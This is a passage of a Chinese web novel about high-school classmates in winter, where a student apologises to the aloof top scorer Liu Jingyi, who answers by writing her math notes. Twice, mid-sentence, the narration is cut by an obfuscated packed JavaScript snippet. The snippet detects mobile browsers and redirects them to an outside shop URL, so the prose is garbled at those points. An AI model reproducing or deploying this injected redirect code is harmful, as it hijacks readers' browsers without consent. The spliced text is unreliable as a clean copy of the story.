她脸色苍白,几乎要和冰天雪地融为一体。 梅山几乎是下意识地叹了口气。 江怀溪霎那心如死灰。 他本就欲哭无泪,再加上忽如其来的叹息,整个人如惊弓之鸟。 他小声彷徨道:“我能走了吗梅主任…?” 梅山看了他一眼,伸手扶了扶眼镜,对着他温和道:“走吧,下次来早一些。” 话没说完,江怀溪就一溜烟地跑了。 开玩笑,不跑留下来等着被梅山的审判吗? 江怀溪才不想,有那个时间,他宁愿去教相璨学数学。 梅山在江怀溪的背影里好笑又无奈地摇了摇头。 一会的功夫,柳静仪已经走到了天璇楼前,她似乎也知道自己迟到了,主动停在梅山跟前,轻声道:“梅主任。” 短短三个字,可那声音里透出来的疲惫却让梅山难以忽略。 他皱了皱眉头,不应该啊。 柳静仪这一次可是请了将近两个星期的假,这状态居然还是这么差劲? 梅山放下违纪表,对着柳静仪关切道:“回来了静仪?怎么样,身体有好一些吗?” 柳静仪在这关心里颤了颤睫毛,她忍住寒意,对着梅山点头:“谢谢梅主任关心,已经好了很多了。” 鹅毛大雪被风吹落在两人脚边,身后传来鞋子踩在积雪上的声音,梅山在冷风里说:“外面冷,快回去上课吧,回头记得去教务部销假。” “好…谢谢梅主任。” 身后脚步声愈发明显,柳静仪显然对这声响不感兴趣,说完后抬脚就走,留给来人一个消瘦单薄的背影。 梅山面色和蔼,轻声应道:“没事儿,快去吧。” 话音落下,又冷下来脸来看向来人。 他居高临下,声音里满是恨铁不成钢:“都迟到了还不走快点宋泓——” …… 风雪在这一秒忽地停住。 柳静仪沉重的步伐在梅山严厉的尾音里一顿。 气氛凝结,宋泓在梅山的注视里依旧不疾不徐,还颇有些大逆不道地说: “都已经迟到了,那我还急什么?” 梅山拿起来扣分表,熟稔又无情的记上他的名字,宋泓垂下眼睛,瞥了一眼空白的表,对他说: “她也迟到了,为什么只写我?” …… 冷风顺着缝隙灌进衣衫,柳静仪缓过神来,垂下眼睛,事不关己的向前走。 梅山在他的疑问中边写边道:“柳静仪有假条,你今天早上就销假了。” 宋泓闻言看向那个单薄的背影,圆珠笔落下最后一个点,梅山抬起眼来,看着宋泓问:“还有问题吗?” “刚刚那个人…是柳静仪?” 梅山顺着宋泓的视线转过头去,楼梯上残存着带雪的脚印,柳静仪的身影一闪,消失在拐角。 宋泓声音低低,又问:“17级9班的柳静仪?年级第一的那个柳静仪吗?” 梅山点点头,语气里不自觉带了些骄傲:“是她。” 眼前恍若闪过模糊晨光,仲秋带着凉意的露水,独特的气味凭空出现,引得宋泓有些恍惚。 白雪忽然沾湿宋泓的脸颊,他收回视线,若有所思。 梅山想到了什么,收起来脸上骄傲的神色,转而苦口婆心的对他说: “你们两个啊,同样是高频率请假,人家柳静仪全校第一,你全校倒数第一……” 寒风在宋泓脚下打了个旋儿,上课铃声忽地响起,打断了梅山的叹息:“宋泓,你又不笨,能不能认真一点。” 宋泓抬眼,梅山隔着玻璃镜片,对上了他的视线。 4. 致云雀 柳静仪伸出冻僵的手推开教室后门的时候,老师还没来。 坐在最后一排的相璨正在和江怀溪打闹,柳静仪带上门,轻轻地往里走。 江怀溪被梅山抓个正着,垂头丧气的坐在座位上,相璨不喜欢他这么丧,踢踢他的板凳: “喂?不就是被记一次名字,你至于这么颓废吗?开心点啦,我数学考那么几分我都没这样哭丧脸。” 江怀溪在她伤敌一千自损八百式的安慰下并没有任何好转。 他叹了口气,转过头去,在关门声里对着相璨伸手比划:“这感觉根本不一样,你那只是没找对方法,我这就是纯倒霉,运气问题根本就不可控——” 相璨听见他的话后无所谓的笑了一声。 她数学差也不是一年两年的事情,课外没少上补习班受罪,因此对于江怀溪的话,相璨下意识的否认: “你可去一边吧,什么倒霉不倒霉的,你那纯懒,不然你试试早出门半小时,还能不能让梅山抓你迟到了?” 江怀溪被这话揭了个底,满脸愤懑变成了幽怨,耳边响起脚步声,江怀溪抬头,对上柳静仪看过来的视线。 相璨沉浸在刚刚的话题里,还在继续:“至于那个数学,还方法呢,我才不信呢!” 她长叹一声,撇撇嘴,语气酸溜溜的:“你看人柳静仪隔三岔五请假,不学都能考满分,我这夜夜点灯到天明,才考17分,哈—17分!!” 柳静仪的脚步在听见自己的名字时就已经停了下来。 “哎哎——”江怀溪听到这出声制止,相璨却越说越难过,来了情绪。 她瘪瘪嘴,又自嘲一般笑了一下,“我就没人柳静仪那个命,别说考一百五了,就是能考,我都烧高香!” 相璨猛地趴在桌上哀嚎:“啊——天杀的!!能不能分一点柳静仪的脑子给我?!” 刚巧走到她身后的柳静仪:…… 教室哄闹,后排却陷入了一片诡异的寂静里,和以往的嘘声大不相同,相璨疑惑的抬起头来,然后看清了自己身边的人。 看见柳静仪的第一眼,她下意识念叨:“那里来的美女,走错班了吧。不过还挺好看,长得和柳静仪很像…” 话音落下,她的然后大脑开始缓慢运作,相璨的心忽地停跳了一拍。 等等! 柳……柳静仪? 相璨心虚的抬起眼来,又看了她一眼。 瞧瞧这五官,这皮肤,这冷淡的表情,可不就是柳静仪本人么? 坏。 天杀的,背后偷偷说人小话被抓个正着!!! 接下来不会要开启修罗场吧?柳静仪不会上来扇她吧?苍天啊她不是那个意思!! 旁边同学都有些提心吊胆,江怀溪大气都不敢喘,这种情况下,柳静仪反倒是最冷静的一个。 她在众人的注视下淡淡的皱了下眉,垂眸看了相璨一眼,没什么表情的走了。 尴尬的情绪霎那窜到相璨的大脑,她红了脸,内心崩溃的趴到了课桌上。 江怀溪此刻也不悲伤了,探头过来问她:“你还好吧?” 与此同时,数学老师在这话里推开前门,带着满身风雪走了进来。 相璨抬起头来,伸手摸到自己的草稿纸恼怒的砸在了江怀溪身上:“还不都怪你!!” 数学老师在她的动作里投来视线,同桌也见怪不怪,默默地拿课本挡上了脸。 果不其然下一秒,数学老师拿着测试卷开始点名: “第一题,相璨,起来给大家说一下你选的什么——” 桌子上空空如也,旁边同桌手忙脚乱的递来卷子,相璨满脸绝望的站起来,柳静仪恰好在此刻转过头来。 数学老师伸手扶了扶眼镜,还嫌她不够凄惨一样,淡笑着出声调侃她:“要是说错了,要上来为大家表演节目啊!” 十五六岁的高中生正是爱看热闹的年纪,班里相熟的男生随之起哄: “老师相璨会跳舞,她最近天天去排练!!校庆她有节目要上!!” “老师——真的我作证特好看,隔壁班的连镶三天两头偷偷去看她——" 江怀溪在这声音里偷笑,相璨循声瞪了他一眼。 她红着脸,拿起来同桌递过来的卷子,看见了第一题上大大的叉号。 都不说欲哭无泪了,那一秒钟她甚至笑了一下,相璨觉得她深刻的理解了刚刚江怀溪的那种感觉。 窗外的雪越下越大,她心如死灰的想,这都叫什么事啊?? 人怎么能这么倒霉?! 好在相璨人缘好,大家看她答不上来,也真不忍心她出糗,纷纷掩耳盗铃一般偷偷告诉她答案。隔着距离,相璨根本听不清,她支支吾吾的蒙了一个选项,班里旋即传来一阵大笑。 柳静仪在这笑声中回过头去,翻开卷子,顿了一下,然后在相璨低低的声音里,伸手拿了个崭新的本子,又翻开自己的课本,面色冷淡的写起来什么。 17级9班内氛围融洽和谐,楼上17级3班也不遑多让。 玻璃窗上结了冰,室内的人交头接耳,年轻的女老师在台上讲着雪莱的《致云雀》。 在这个懵懂开智的年纪,没有多少人能懂传世作品的深刻内涵,但讲台上的人仍然孜孜不倦。 课本在书桌上摊开,宋泓的目光移到了那些翻译过来的诗文上: …… 我从来没有听到过, 爱情或是醇酒的颂歌, 能够迸涌出这样神圣的极乐音流。 赞婚的合唱也罢, 凯旋的欢歌也罢, 和你的乐声相比, 不过是空洞的浮夸, 人们可以觉察,其中总有着贫乏。 什么样的物象或事件, 是你欢乐乐曲的源泉? 什么田野、波涛、山峦? 什么空中陆上的形态? 是对同类的爱,还是对痛苦的绝缘? …… 宋泓的目光快速在这上面划过,又不感兴趣的移开眼。 窗外风声呼啸,大雪凌空纷扬,宋泓看着那雪,若有所思。 旁边的连镶神思早就跑远了,他侧过头来,见宋泓也是一副心不在焉的模样,问道:“怎么了?” 柳静仪的身影在宋泓脑海里远去,他回过神来,瞥了连镶一眼:“嗯?” 连镶看着他道:“你有心事?” 宋泓微微挑了下眉,问:“为什么这么说?” “你看起来无精打采的,整个人比那霜打的茄子还没精神呢。” 连镶又用他那一年级学来的通俗比喻形容上了,他对着宋泓关切问:“怎么?你遇见什么事了?说来给哥们听听?” 不知道为什么,宋泓并不想让把他刚刚和柳静仪的那段相遇将给别人听,这是一种特别奇怪又说不清的行为,连镶在旁边满眼期待,宋泓咽了咽并不存在的口水,垂下眼睛淡声道:“…嗯…” 他声音小,连镶悄悄凑过来耳朵。 宋泓在他满眼期待下说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179076|196928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “刚刚迟到,被梅主任抓到了,要扣平时分。” …… 话音出来,连镶脑袋上闪过几条黑线。 他满脸狐疑:“不是吧宋泓??你什么时候开始在乎这个了?” 宋泓被这反应一噎,下意识说:“什么?” 连镶悄悄凑过来脑袋,说:“你平常旷课迟到违纪,这些不都是家常便饭吗?之前也没见你在乎过啊?” …… 宋泓笑了一下,淡声道:“是吗,我在你眼里这么十恶不赦?” 连镶听后伸手拍了他一下,不赞同道:“哎—这是事实!” …… 宋泓摇摇头,懒得反驳,索性转过头去看窗外飘雪。 室内暖气充足,热的人头脑发懵,正当他要神游天外时,连镶不知道想起来什么,忽地兴奋起来。 他伸手扯了扯宋泓的校服:“哥,小自习去玩吗?” 宋泓回过头来:“?” 连镶鬼鬼祟祟看了眼台上的老师,又低下头来,声音暗含兴奋道: “这不是即将校庆吗?今天小自习瑶光大礼堂彩排,相璨要去跳舞!!我们一起去看呐?” 宋泓点了点头,表示自己知道了,随即张口拒绝道:“不去。” 连镶扒住他的胳膊,满脸狗腿:“去吧去吧,她不认识我,你不去的话,我们会很奇怪的!求求你了宋泓,你就去吧!” 连镶确实不认识相璨,但宋泓和相璨可是一起长大的发小,关系亲近,有宋泓在,连镶不信自己和相璨搭不上话。 宋泓在他火箭炮一般的语速里精准捕捉到某个字眼,“……我们?” 连镶悻悻地笑了两声,心虚一般说:“啊对,还有邱池游海他们,哎你不是知道嘛,游海喜欢高二年级的周知意,他们班也有节目要上啊!哦对了——” 说到这里,他想起什么来一样,兴奋的拍了宋泓两下:“还有荆棘!!你之前不是说她是你世交叔伯家的姐姐嘛!据说这次她也有节目要上!” “去吧宋泓去吧,我真求你了!” 他双手合十,对着宋泓做恳求状,却没想到交头接耳的动作太大,先被语文老师点了名字。 两人去室外罚站,连廊外大雪纷扬,宋泓肤色偏白,雪色映衬下,竟有几分透明意味,连镶在旁边叽叽喳喳,他不嫌烦,却也不回应,只是攥着课本,淡淡的抬起眼来看向天璇楼外。 四十五分钟对于柳静仪来说不算难熬,但对于相璨却是如坐针毡。 下课铃声响起的那一霎那她就要冲过去给柳静仪道歉,却被江怀溪挡住了去路,再一回过神来,柳静仪就人间蒸发了一样不见踪影。 相璨又急又气,没忍住给了江怀溪一拳。 江怀溪:“?” 他满脑袋问号,却也没听相璨说出来所以然。 也是,他俩从小一起长大,这样没来由的情况时有发生,江怀溪好脾气的对她笑笑,见怪不怪了。 有时候人越想做什么,就越做不成。 这一下午数个班空,要么就是柳静仪不在,要么就是相璨被琐事绊住脚,几节课下来,相璨硬是没找到机会去和柳静仪说一句话。 最后一节课尾声的时候,相璨的心提到了嗓子眼,老师说下课的那一秒,人群蜂拥而散,她拿出来要跑八百米的架势,挤开众人,灵活的站在了柳静仪身前。 柳静仪似乎正在写作业,前方忽然投下来一个阴影,有些挡光。 她握着笔,姿势不变,缓慢地抬起头来。 5. 抱歉 相璨在她冷漠的视线里咬了咬唇,背在身后的双手因着紧张搅在一起,她涨红了脸,却不退缩,对着柳静仪嗫嚅开口道: “对不起柳静仪……下午的时候,我不是那个意思。” 室内未走完的人见到这副景象,不约而同的放慢了脚步,拉长耳朵。 人流分明涌动,却安静的落针可闻。 柳静仪眨了眨眼睛,在相璨的道歉里低下头,继续着手里的事情。 仿佛无视了眼前这个人。 气氛再次凝结。 江怀溪在旁边忍不住悄悄屏息。 依照相璨这风风火火的性格,说不定会撂挑子不干,万一她失去耐心,两个人当场吵起来,这可怎么办才好? 他有些心急,旁人也觉得氛围有些尴尬,时间一分一秒过去,就在众人认为一触即发的时候,柳静仪动了。 她在纸上画上了最后的一个句号,纤细的手放下笔,合上本子,抬起头来。 与此同时,眼前的相璨也深吸一口气。 她顺清了脑海的思路,对着柳静仪再次开口,耐心解释道: “下午是江怀溪被扣分心情不好,我本想安慰他的,却没想到扯远了——那句天杀的,也不是在说你——是我用词不当,而且,我对你没有任何的嫉妒,我只是…” 说到这,相璨顿了顿,咬唇,众目睽睽之下,她忍住心里的难为情,小声道:“比较羡慕你而已。” 相璨苦于数学的折磨多年,上学勤勉作业,放学补习,时常点灯熬夜到天明,成绩却没有任何起色,这种情况下你说她不羡慕柳静仪,根本就不可能。 可羡慕归羡慕,当这种看似夸耀实则容易被人误会的话伤害到了柳静仪,那又是另一回事了。 放在身前的手因为紧张而紧紧攥着,柳静仪的目光上移,相璨还在红着脸道歉: “我真心的、为我今天下午的话而道歉,对不起柳静仪,我对你、真的没有任何恶意。” 柳静仪在这话里对上她的眼睛,眼前的少女满脸沮丧,红着眼睛的样子着实可怜。 说不清楚为什么,柳静仪感觉到了一些恍惚。 她忽然环视周围,措不及防的转头让在场的人都有些措手不及,众人看好戏一般的目光明晃晃又不加掩饰的放在了他们身上。 嘲讽奚落看好戏,可回看相璨,却见她满脸诚恳。 眼神执拗,人也倔强,仿若柳静仪不接受她的道歉,她就会再说一遍。 柳静仪眨了眨眼睛,低低应了一声: “嗯。” 相璨在她出声之前已经做好长篇大论的准备了,现在看柳静仪有了回应,一时间没反应过来。 …… 她下意识看江怀溪,江怀溪对她点点头,证明刚刚的话不是相璨凭空出现的幻觉。 得到肯定答案的相璨霎那有些恍惚,她看着柳静仪,轻飘飘的叫她的名字: “……柳静仪?” 而这一次,柳静仪仿若被她的诚心打动,那张冷淡的面容上冰雪消融,她点点头,看着相璨的眼睛,轻声说: “知道了。” 没说原谅,也没有当这件事情没有发生,而是在相璨的道歉里给了她一个明确的回应。 她知道了。 话音落下,柳静仪在相璨的话里拿起来刚刚合上的本子,起身,随手塞到相璨的手里,然后背上书包离开。 这个过程中她没说任何话。 刚刚带有安慰意味的话仿若凭空出现的错觉,柳静仪又恢复成那副不近人情的冷漠样子。 相璨怔怔地看着她的背影走远,江怀溪第一时间上前,对着她手里的东西追问:“是什么?” 窗外不知何时落了雪,冷风呼啸里,相璨满头雾水。 柳静仪的同桌见她走远,带着些许不可思议说:“她写了这东西写了一下午,又是翻书又是找卷子的,现在就这么随随便便给你了?” 相璨下意识说:“什么?” 同桌接话:“我也不知道具体是什么,要不你打开,我们一起看看?” 相璨点点头,心跳却忽然清晰起来,她看向江怀溪,在他同样期待的目光下,抖着手掀开那个本子—— 入目是笔记索引,密密麻麻的易错点和知识合集。纸上的每一个知识点都做了延伸,天书般复杂的知识在柳静仪的笔下深入浅出,变的清晰易懂。 这显然是一本新鲜出炉的数学笔记。 江怀溪看清后低声震惊,“靠啊?!” 相璨呼吸粗重了几分,页面纸张发出脆响,她走马观花一样快速翻到最后一页,赫然看见那行字: 【问题存在,是因为方法错误,而非命运给出来的难关。】 清晰的字力透纸背,在这霎那震慑住了相璨和江怀溪幼小的心灵。 二人四目相对,满眼的不可思议,江怀溪轻声呢喃: “不是吧柳静仪?” 如果江怀溪没记错的话,他们只是同班同学吧? 没说过话,没有任何交情,甚至柳静仪不一定知道他们名字的那种? 话音落下,相璨就攥着那本笔记朝着柳静仪离开的方向冲了出去。 窗外大雪纷扬,雪铺了厚厚一层,相璨毫不犹豫,笨拙的闯进冰天雪地里。 柳静仪早已没了踪影,校内打雪仗玩闹的人比比皆是,人影流动中,相璨喘着气转身。 热气袅袅而上,欢声笑语里,她四处搜寻柳静仪的身影。 相璨不明白。 她不明白柳静仪为什么要这样做。 柳静仪没有任何理由写这个笔记给她。 她们不是朋友,就连点头之交的同学都算不上,更何况还有那个极度不友好的插曲在—— 这一秒,相璨淹没在人流里。 她在众生的喜怒哀乐里,意识到自己看不透柳静仪。 明明听见了相璨在背后说她,却并不放在心上,反而是细心的察觉到了相璨的困境,默不作声以德报怨地悄悄写了一下午的学习方法。 白雪寒风相继落下,相璨在大雪里跌跌撞撞,不停寻找。 她脑海里,柳静仪冷漠的面容和刚刚递给她笔记的瞬间交织反复,来回重播。 最开始的道歉,柳静仪低下头去无视掉了,现在看来,那也许并不是她认为的冷漠忽视。 呼出的热气朦胧而上,人影间隙里,她终于看见柳静仪在远处的知还池旁边站着,一动不动的看向远方。 暗蓝湖水静谧涌动,杨柳枯黄,冰雪衬得她面色苍白。 远远的一阵风吹起来她的头发,柳静仪淡然的站在那里,轻轻的眨了眨眼睛,一副若有所思的模样。 在目光触及到柳静仪的那一瞬间,相璨鬼使神差的想,或许,那所谓的冷漠,是柳静仪对这个世界惯有的回应。 她喘着粗气朝柳静仪奔去。 就凭刚刚的事情相璨就能确定,甚至肯定,柳静仪并没有她表现出来的那样不近人情。 她是一个很好、很好的人。 身后喧嚣,柳静仪在湖边静静看着杨柳枯枝,想着相璨,也想刚才落在纸上的那句话。 她一开始并没有想写这话,也并没有想为相璨写笔记。 柳静仪不是那种多管闲事的人,但她最后还是这样做了。 是因为相璨把自己的失败归因于命运,是因为相璨被提问却没回答上来时,别人的嘲笑。 柳静仪不相信所谓的命运,更不喜欢别人对她高高在上的嘲弄,所以才鬼使神差的写了那笔记。 相璨来找柳静仪道歉之前,笔记就已经写完了。 说实话,笔记完成的那一瞬间,她不后悔,她只是有些茫然。 因为她不认识相璨,而这个举动,这种行为,会很奇怪。 一旦她先递出去那个笔记,二人就不可避免的会产生交集。 柳静仪并不想有这所谓的交集,她拒绝和任何人做朋友。 但下一秒,相璨站在她身前遮住了光,道歉的话语掷地有声,柳静仪笔下的句号莫名就有了衔接。 柳静仪有些晃神,她花了些许力气,才能抬眼看向来人。 相璨,一个和她名字一样璀璨夺目的人。 柳静仪知道她,很天真善良的一个人。她见过相璨无忧无虑的笑容,很有感染力,任谁看了她的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179077|196928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心情都会变好。 她执着道歉的那一刻,柳静仪想,或许这就是天意吧。 可哪怕是这样,柳静仪也不想和相璨有更多的下文,是以她转身离开。 但现在…… “柳静仪——” 嘈杂的校园里人来人往,她身后传来不甚真切的呼声,有人在呼唤她的名字。 柳静仪在枯黄的杨柳枝里转身。 一个瘦小的身影跌跌撞撞的朝她奔来。 事情好像因为她一念偏差,脱离了原始轨道。 雪天路滑,相璨险些摔倒,宋泓正和连镶走在校园里,却忽然被人撞到胳膊。 “嘶——” “对不起对不起——” 那人率先鞠躬道歉,又马不停蹄地往河边跑,嘴里叫道:“柳静仪——” 宋泓眯了眯眼睛,扶着胳膊没说话,旁边的连镶眼尖,说:“哥,那是不是相璨?” 一会的功夫相璨就已经跑远了,顺着她的身影向前,柳静仪站在河边回过头来,神色淡淡的,好像要和白雪融为一体。 连镶又说:“她去找的是…柳静仪吗?” 宋泓眼也不眨的看着河边的两个人,低低应声:“嗯。” 连镶没有听错,刚刚相璨嘴里叫的,就是柳静仪的名字。 柳静仪眼睁睁的看着相璨往这边来。 时间在柳静仪沉默的注视里度日如年,相璨小心翼翼,又气喘吁吁的停在她面前,她抬起头,这一次那无忧无虑的眼睛里却是含泪:“柳静仪……” 冷风里,柳静仪道:“怎么了?” 她在室外站了好一会儿,开口说话,竟也带上了几分冰雪意味。 但相璨早就参悟这冷淡面容下的一颗真心,她在柳静仪的注视里,看着她说:“你……” 你为什么要这样做? 柳静仪眨眨眼睛,有些疑惑。 相璨在枯黄摆动的杨柳枝里又说:“我……” 我可以和你做朋友吗? “嗯?” 表达真心的话总是言不由衷,相璨在柳静仪的目光下急的哇一声哭出来: “呜呜呜柳静仪……你怎么走的那么快……我根本就找不到你……” 豆大的泪珠说掉就掉,相璨抓住她的衣角放声大哭。 白雪不停落下,没一会儿就薄薄的盖在她们身上,柳静仪在相璨的眼泪里有了些慌乱,向来冷静的人难得束手无策。 “我……” 柳静仪刚一出声,相璨的眼泪愈发落下:“呜呜呜学校里人这么多…我差……差一点就找…找不到你…” 柳静仪下意识抬起手,相璨却借势,埋在柳静仪的怀里,抱住她哭了个天昏地暗。 这一下午的忐忑心情,刚刚冰天雪地里的急迫寻找,所有因为别扭而没能说出的话,在这一刻全部化作眼泪落在柳静仪的心口。柳静仪伸出去的手僵在半空,又在相璨温暖的怀抱里缓慢收回,而后小心翼翼的,放在了相璨的肩胛骨上。 她没说话,也不知道这种情况下要说什么。 柳静仪没有要好的朋友,她从来没有过这样的人生经历。 哭声和冷风源源不断,杨柳枯枝在风里四处摇摆,白雪落在河流上,柳静仪在相璨的哽咽哭声里忽然就回想起来她刚刚被领养的那一年。 那年初春,尤婉心和柳建明带着她去踏青放风筝。 空地平坦,河边流水潺潺,高大树木上冒出来点点新绿,东风乍寒,尤婉心抱着她,笑着用身体为她默默挡风。 柳静仪在她的怀抱里拉住手中的线,在欢声笑语里,任风将那风筝越吹越高,越吹越远。 当时尤婉心怀抱的温度,和现在相璨抱她的这个,是一样的。 无论哪一个,都让烦闷焦躁的柳静仪感觉到了安心。 柳静仪微不可察的叹了口气,安抚相璨的力度却更加温柔。 相璨的情绪来的也快,去的也快,这会她哭完了,却又觉得自己很丢人。向来大方的女孩窝在柳静仪的怀里,怯怯地抬起眼来。 柳静仪在她小心翼翼的注视下眨了眨眼,有些不自在地说: “抱歉。” 6. 是她 事情在这句抱歉里彻底失控。 直到柳静仪被相璨拉着走到了食堂,她都没有反应过来,事情为什么忽然会变成这样。 柳静仪端着餐盘在重光一楼坐下,相璨亦步亦趋地跟在她后面,拿着新买的沙拉坐在她对面。 面前第一次坐了不是拼桌的人,柳静仪极其的不适应,握着筷子的手都紧了两分。 相璨在她紧绷的状态里打开沙拉,夹起一片菜叶子咀嚼,暗地里平复心情。她也没想到,死缠烂打这一招居然会对柳静仪有效。 相璨回忆起来刚刚她又哭又闹的,死活要拉着柳静仪来食堂,就一阵脸红。害羞当前,她没说话,而柳静仪巴不得快点逃离现场,自然也不会主动和她说什么。 重光楼内的暖气源源不断,两个人居然有些相对无言的意味。 江怀溪刚进食堂,隔着距离,老远就看见了角落的两人。原因无他,两个人一个比一个好看,再加上类似修罗场的诡异氛围,难免引起来注目。 闲言碎语,谣传迅速。 江怀溪走到她们附近的时候,版本已经演变成了‘相璨在暗地里说了柳静仪的坏话被她发现后怒打了一巴掌’。他在这言论里先是一惊,紧接着就觉得荒谬可笑。 怎么女生之间但凡有点风吹草动,到最后都会演变成扯头花?烦不烦? 但当他走到两人跟前,却又觉得流言疯传成这样,也是有一定道理的。尤其是相璨红着眼睛抬眼看过来,柳静仪冷脸捏着筷子顿住的时候。 江怀溪在众人暗中窥探打量的目光中坐到相璨身边,相璨咽下去那口菜叶子,说:“你怎么来了?” “不太放心你——” “?” 相璨脑门上飘起来一个问号:“不放心我什么?” 柳静仪在这亲密的对话里敛下眼睛试图降低自己的存在感,但下一秒江怀溪却说: “不太放心你的臭脾气,怕柳静仪受欺负。” “???你有病啊江怀溪?” 柳静仪顿了一下,在笑声里抬眼。 芝兰玉树,面容温和,嗓音含笑,如同清泉。 江怀溪在相璨的怒骂和柳静仪打量的眼神里狡黠一笑,他对着柳静仪大方道: “你好,我是江怀溪,咱们是同班,有印象么?” 柳静仪点点头,稍微放下一些防备,低声说: “柳静仪。” 江怀溪笑起来,“我知道。” 柳静仪收回视线,没继续接话。 相璨却忽的有些咬牙。 忙活了半天她们俩一句话都没聊上,他倒是好坐在这里和柳静仪自我介绍起来了。相璨不满,赌气一般对着柳静仪想要张嘴,“我……” 柳静仪却心如明镜,她在相璨的尾音里抬起眼来,认真的看着她说: “我知道,你是相璨,璀璨的璨。” 短短一句话,相璨眼里的情绪就烟消云散,脸上浮现些真心笑意来。毕竟柳静仪说的,是她开学时在全班面前的自我介绍。 相璨对着柳静仪小鸡啄米一般点头,江怀溪在这互动里起身前去窗口买饭。相璨当然不会放过任何和柳静仪独处的机会,当即道: “你一会儿…有事么?” “?” 柳静仪的脑袋上冒出来一个问号。 相璨不好意思地小声说: “今天的卷子我真的看不懂…” 话说到这,她卡了壳,闭上眼睛下定决心,对着柳静仪一鼓作气道:“你能不能教教我?” …… 对面久久没应,相璨紧张的睁开眼睛,怯怯的看向柳静仪。柳静仪也没想到她一本正经的说出来这么好学的话,有些愣住。 相璨察觉到了她的迟疑,心里顿时忐忑起来。 柳静仪在相璨期待的眼神里捏住筷子,没出声。 今天尤婉心说了要她去邻居姚阿姨家借住,八成是有什么问题,她放学要第一时间赶回家。 但…相璨向她求助。 柳静仪一时间有些进退两难。 江怀溪在这时打完饭朝两人过来,柳静仪想了想,说:“我记得江怀溪的理科也不错的——” “他?!” 相璨撇撇嘴,语气沮丧:“他宁愿被梅主任扣分,也不愿意来教我,照他的话讲,给我讲数学题,是世界上最大的折磨!” 不能吧? 就是讲个卷子而已,有这么夸张吗? 柳静仪有点想不通。 江怀溪走到跟前放下餐盘入座。他连听带猜,把两人对话摸个囫囵后,毫不犹豫道: “你怎么不跟柳静仪讲讲我不愿意的原因呢?” “嗯?” 柳静仪轻轻疑惑了一下。 看这样子,有内情? 说到这,相璨吃瘪一样,悻悻闭上嘴巴。 江怀溪在柳静仪困惑的眼神下毫不留情的拆穿她:“我们十几年的朋友啊,这些年我不是没有努力过,但无论做了怎么样的准备——” 说到这里,江怀溪几乎是气笑了: “每次我给她讲题的结果一定是,她把我带偏。” “嗯?” 柳静仪不明白为什么会被带偏,相璨在旁边红着脸补充道: “那也不能怪我啊,谁让你每次都问我怎么想?那我诚实说了,你也觉得有道理,我能怎么办?我本来就不会啊——” …… 柳静仪明白了。 江怀溪无奈说:“好好好,你另请高明,找别人教你吧,依照你的基础,我反正是揽不了这个瓷器活。” 相璨来气:“找就找,你就是本事不行,我就不信柳静仪来教我也能被绕进去!” “好啊那就请柳静仪来教你试试,看看究竟是你的问题还是我的问题——” “江怀溪你别狗眼看人低!!试试就试试!柳静仪一定比你强,不信走着瞧!!!” “走着瞧就走着瞧!!谁怕谁啊?!” 相璨气鼓鼓的,但下一秒随即反应过来,这些都是她和江怀溪的一厢情愿,柳静仪根本没答应。 这个认知像是一根针一样,刹那间戳破了相璨虚张的气势。她抬眸看着柳静仪事不关己的吃饭,一阵泄气。或许柳静仪并不想给自己添麻烦,是她仗着柳静仪的好,得寸进尺了。 柳静仪在江怀溪近乎挑衅的话里眨眨眼,再向前,相璨脸色复杂的垂下头去。 柳静仪慢条斯理的放下筷子,对着快要把头低到地下的相璨,轻轻说: “好。” 相璨猛地抬起头,江怀溪侧过头去,悄无声息的弯了弯嘴角。 “我没听错吧柳静仪,你真的…愿意教我吗?” 柳静仪点点头,相璨肉眼可见的开心起来。 可下一秒,柳静仪紧接着道:“我愿意教你,但前提是,日后不要再来打扰我了,可以吗?” 相璨的笑容随着她的话僵在了脸上,江怀溪也没想到柳静仪会说出来这个直白到近乎有些伤人的前提,一时间愣住。 相璨有些受伤,看着柳静仪说: “为什么…?” 为什么要在相璨最开心的时候和她划开界限? 她以为,柳静仪答应教她,是肯和她做朋友,但现在看来,并不是这样的。 柳静仪在她的话里眨了眨眼睛,没出声。 她没有很多的人生经验,但目前为止,柳静仪几乎是确定,和她做朋友,会变得不幸。 她不想让相璨变得不幸。 仅此而已。 相对无言,柳静仪最终没有回答相璨。 她只是在相璨受伤的神情里,近乎冷漠地说: “如果你愿意接受这个前提,我就教你。” 接受了,那等讲完错题之后,柳静仪就会断绝和她的来往。 但不接受,两人之间也不会有下文。 这不是一个非黑即白的选择题,而是一个殊途同归的岔路。 相璨的眼泪吧嗒吧嗒地,不受控制的掉下,柳静仪见她没有反应,也不再耗费时间,端起餐具起身。 这样其实更好。 就在柳静仪迈开步子即将离开的时候,相璨忽然动了,她抬头看着柳静仪,含泪哽咽道: “好!” 柳静仪停住,转过身来。 相璨红着眼睛看她,倔强道:“好!!” 她伸出胳膊擦掉眼泪,说:“我会很认真学的。” 柳静仪点点头,没再接话。 旁边的江怀溪在这个奇怪的氛围里叹了口气。 他看看重新坐下的柳静仪,然后转头对上了相璨的目光。 那一瞬间,江怀溪眉心一跳。 上次相璨露出这种目光,是在中考前。 那时她成绩差劲,她身边所有人都说她考不上普高,相璨被激的满眼通红,然后笑了。三个月后,她从班里倒数,考到了全市最好的高中。 现在她又露出来这种眼神,还对柳静仪露出来一个甜甜的笑。 江怀溪闭了闭眼睛,在心底为柳静仪默哀祈祷。 